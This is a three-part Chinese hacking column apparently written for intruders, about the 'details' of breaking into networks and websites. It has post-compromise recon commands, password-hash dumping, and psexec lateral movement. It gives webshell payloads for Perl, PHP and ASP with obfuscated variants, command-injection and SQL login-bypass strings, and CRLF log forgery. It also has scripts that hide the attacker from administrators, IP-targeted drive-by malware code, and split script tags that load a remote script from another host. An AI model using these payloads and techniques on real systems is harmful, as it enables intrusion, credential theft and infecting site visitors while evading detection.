作者:LCX
细节决定成败,不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了,还是来谈谈入侵吧。记得很久前有一位同事,注入的时候,在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间,为什么呢?这是因为他在NBSI下输了个time命令,想看下服务器的时间,结果命令无法应答,注入点宕在哪儿了,再也没办法执行其它命令了,直到服务器重启。有的写的不好的木马,如果执行time命令也会自动退出。如果注意到了这个细节的话,最好的执行办法就是time /t。
这一期我不谈注入,针对我在内网入侵的经验,来谈一下细节吧。
1、系统自带命令的细节
拿到系统权限后,常会想到收集机器的信息。例如看看共有几个盘,难道要一个一个的去cd盘符吗?2003系统的话就不必如此了,有一个命令很是方便:●fsutil.exe fsinfo drives●,可以列出全部盘符了(图1)。
图1
当然,这个命令还有其它的用途,大家自己搜索研究吧。也许还有人说,●systeminfo命●令更强大吧,看到的应当更多,当然个人有个人的爱好,像我还喜欢用●start /wait msinfo32.exe /nfo swenv.nfo /categories +swenv-swenvprogramgroup-swenvstartupprograms●,这个示例收集了软件环境信息,但是不包括“程序组”和“启动程序”子类别,所创建的 .nfo 文件可以使用 Msinfo32.exe 读取(图2、图3)。
图2
图3
大家自己执行一下,就会看到有多么强大了。另外,在域内网里如何判读哪台机器属于哪个域呢?当然命令也许有多个,最好用的应当还是net config Workstation。说到net命令,其实对这个命令我还有一个独门绝技,用它来判读主域服务器。怎么判断呢?主域服务器一般也做为时间服务器,所以在域权限下用net time /domian的话,主域服务器的主机名立马拿来。其实如果每个命令我都打一个示例的话,再抓一个图,这篇文章就会很长,但是这里只起个抛砖引玉吧,只把我最常用的命令示例写出来,剩下的大家自己研究吧。
2、常用工具的细节
内网入侵后,通常做法是抓出用户的hash来破密码,再试下别的机器是否同密码。抓hash,有三个基本的工具。●pwdump4、gethashes、 fgdump●,这三个exe大家应当都可以通过百度来搜索到。我常用的是gethashes,当gethashes无能为力的时候再请出fgdump。不过我以前喜欢用pwdump4,一般情况下●pwdump4 /l●就会抓出机器的密码HASH值。但是有人会发现,pwdump4 /l在3389里用不了。编辑文章时常看到有人入侵了3389,然后就说丢个 pwdump4上去抓hash,结果再也无话了。我估计这样的人都没有仔细操作。在3389情况下,正确用pwdump4 /l的方法是先用●psexec \\ip -u username -p password cmd.exe●得到这个用户身份的shell,然后再来用这个命令。说到psexec,我就想到了一个有趣的事情。以前我在公司负责招人的时候,主要是招对渗透有经验的人。由于要考虑到招的人对内网的渗透水平,我会出这样一道测试题。两台机器一模一样的配置,用户和密码都是相同的,两台之间只开了139 和445互相通讯,其它端口不开,不过有一台可以溢出得到最高权限,别一台不可以。此时你溢出了一台,在溢出的cmdshell情况下如何再控制另一台? 其实这道题我考的是被招的人对权限的认识。溢出的时候,是system权限的,此时要在这个权限的cmdshell下ipc$另一台机器是不可以的,也是先要用●psexec \\ip -u username -p password cmd.exe(我只是示例,在溢出的shell下正确命令应当用nc反弹这个psexec的命令才能得到cmdshell)●得到这台溢出机器的用户权限shell,此时两台机器密码用户名都相同,直接可以dir \\ip2\c$了,连ipc$连接也不用做。
这期的细节我先谈这两点吧,下期我们再来。
第二期
上期我写的基本都是在入侵内网过程中要注意到的细节,不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话,如果注意一些细节,像构造特殊字符,也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现,无非是发现都对脚本语言的一些细节的重视。那么这一期我就来讲一下我会在注入过程中注意到的一些细节,主要是讲一些特殊符号了。
先来说一下perl吧。我对这门语言也不熟,毕竟市面上现在用它做server scripting少了。针对perl入侵大家最最常用的普遍手法估计也就是两个,一个是想方设法向cgi文件里写入webshell,另一个就是利用原来的perl程序来执行命令。第一个方法,一般会写入
“;system @ARGV;#”
这样符号,如果写在1.pl的话,可以执行1.pl?dir=c:\这样去执行命令。另一个如果原来网页url是
http://www.xxx.com/1.pl?id=abc
的话,我们会尝试执行
http://www.xxx.com/1.pl?id=abc|uname
这样的参数看一下能否来执行uname命令。其实|算是linux命令里的分隔符了,不算是perl的。不过perl里还有一个分隔符是,这个较少有人注意到。以前有一个很有名的雷傲论坛,好像在最新版里还有一个可以上传webshell的漏洞,如果没有在后台限制特殊符号注册用户帐号的话。好久好久前我入侵过一个雷傲论坛,当时入侵的截图还在,如图1所示。
我们注册一个q lcx的帐户,然后再发一个内容为“ and rename(qq(你上传的附件的物理路径),qq(改名为你要的webshell的物理路径))”,示例就如图1那样的方法。然后再浏览贴子,你就可以得到一个webshell了。在这里 为分隔符,q在这里是单引号的意思,qq当然是双引号了,这样一来q lcx…… 之间乱七八糟的内容就算是perl里有意义的东东了,这样不会影响到后边的rename函数的执行。
那么再来说一下php吧。php我最常用的就是暴路径了。如果一个url是
http://www.sohu.com/x.php?id=1
,那我们改成http://www.sohu.com/x.php?id[]=1 这样的话来提交,如果错误没有屏蔽的话,成功率应当高达60%吧,和早期的%5c差不多。这里是因为id后边跟的一般是一个数值,如果我们改成[]的话,会让程序本身误以为跟了一个数组,所以程序就支出错,这和把id=1改成id=a或id=1'类似的意思,但是往往有的程序过虑的不严格,像只判断了是否是字符和有单引号而遗漏了数组,从而让我们得逞。php另一个鸡肋式的符号是 `,这个东东也是执行符,像我们写成
<?$result=`$ls -a`;echo $result;?>
也会执行。不过只要服务器安全模式打开,或服务器权限设置的严格的话,不会让我们得逞,不过我们能够入侵成功的凭借的运气不也就是依靠的网管的懒惰吗?
最后再来讲一下大家能耳熟能详的asp了。asp大家最了解的是
%5c
暴库和
'or''='
这个万能密码了。其实我以前用过
%0d%0a
,这个其实不算是asp里的东东,可以算是http服务器里的,多数http服务器在收到包含%0d%0a的请求时会解析为回车并在日志中换行。 asp+mssql 我们可以用到它来做分隔符,使其多条sql语句执行。至于具体应用,网上有篇<<讯CMS4.0sp5 商业版的致命伤>>文章,大家可以百度一下看看。至于在http服务器中应用可以通过发送
%0d%0a
或%u0d0a在日志中产生换行,从而可以伪造日志,使
入侵行为淹没在大量虚假日志中,难于找到真正的入侵者,给入侵分析带来困难。 asp再有一个就是%号了,很多人以前都碰到过上传或写入webshell的时候碰到过滤了%号的情况,于是纷纷采用了冰狐浪子的cs木马,因为里边没有百分号。其实asp还有一个写法,是
<script language=vbs runat=server> ……代码……</script>
这样的,于是我们可以把我们平常的一句话代码
eval(request("#"))
加在里边,这样就不用百分号了。
我对asp熟悉一点,再多说一点,
<script language=vbs runat=server>eval(request("#"))</script>
再怎样变形呢?我们可以写成
< script language=vbs runat=server>eval(request(chr(35)))</script>
失之消去单引号。如果不加密的话,我们还可以怎样改?我改一个给大家看一下,可以改成
<script language=vbs runat=server>eval(((((request(chr(35)))))))</script>
我多加了四个匹配的括号,照样可以运行的。还可以加更多吗?当然……这里的多加括号方法可以运用在php一句话木马里吗?亲爱的读者,剩下的工作就交给你去做了。
这期的细节我先谈这两点吧,下期我们再来。
第三期
前两期中的专栏中,针对细节入侵这一专题,我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中,有时候难免会与管理员面对面,如何更好的隐蔽自己也是很重要的,一旦不注意,入侵工作往往前功尽弃。这期专栏中,我就如何隐蔽自己所做的一些工作,所注意到的细节来写一下。
先来说一下嗅探吧。大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止 cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144
上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。
再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend
用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。
最后来说一下挂马。挂马的隐蔽方法也有很多,以前黑手上讲过几期。如果只是盲目的挂马多搞几台肉鸡的话,那个随便你了。但是有时候我们入侵了一个公司的 web站,目标却是他们的内网。这时候你挂马可能会挂出太多的无用机器,如果你知他们公司内网出口的IP段的话,我们可以限制一下IP段使其更有针对性。这个asp脚本如下:
<%
''获取访问者的地址
ip=Request.ServerVariables("REMOTE_ADDR")
'允许的IP地址段为
allowip1="221.221.221.1"
allowip2="221.221.221.254"
if checkip(ip,allowip1,allowip2)=true then
response.write "你挂马的页面"
end if
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,".")
allow1=split(allowip1,".")
allow2=split(allowip2,".")
if cint(allow1(0))>cint(allow2(0)) then ''判断IP地址段是否合法
response.write "禁止访问"
exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))<cint(allow2(i)) then
if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))<cint(allow2(i)) then
exit for
else
if cint(ipstr(i))>cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))<cint(ipstr(i)) then
check(i)=false
checkip=false
if i<>ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then
checkip=true
end if
end function
%>
这个脚本也许考虑得不太周到,但是我觉得足够用了。挂马的隐蔽方法也有很多,我最常用的是代码分隔法。记得剑心有篇文章,提到过最短的跨站方法,我们也可以用这种方法来挂马的。好比常规挂马语句拆分一下转换为:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.110'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
这样转换的好处是上边的每一行可以分开插入在同一页面不同行中,这样一来就会隐蔽一点了。当然如何更好的隐蔽自己有很多不同的办法,各人各有巧妙不同。这篇文章只是抛砖引玉,能引起大家的思考我就心满意足了。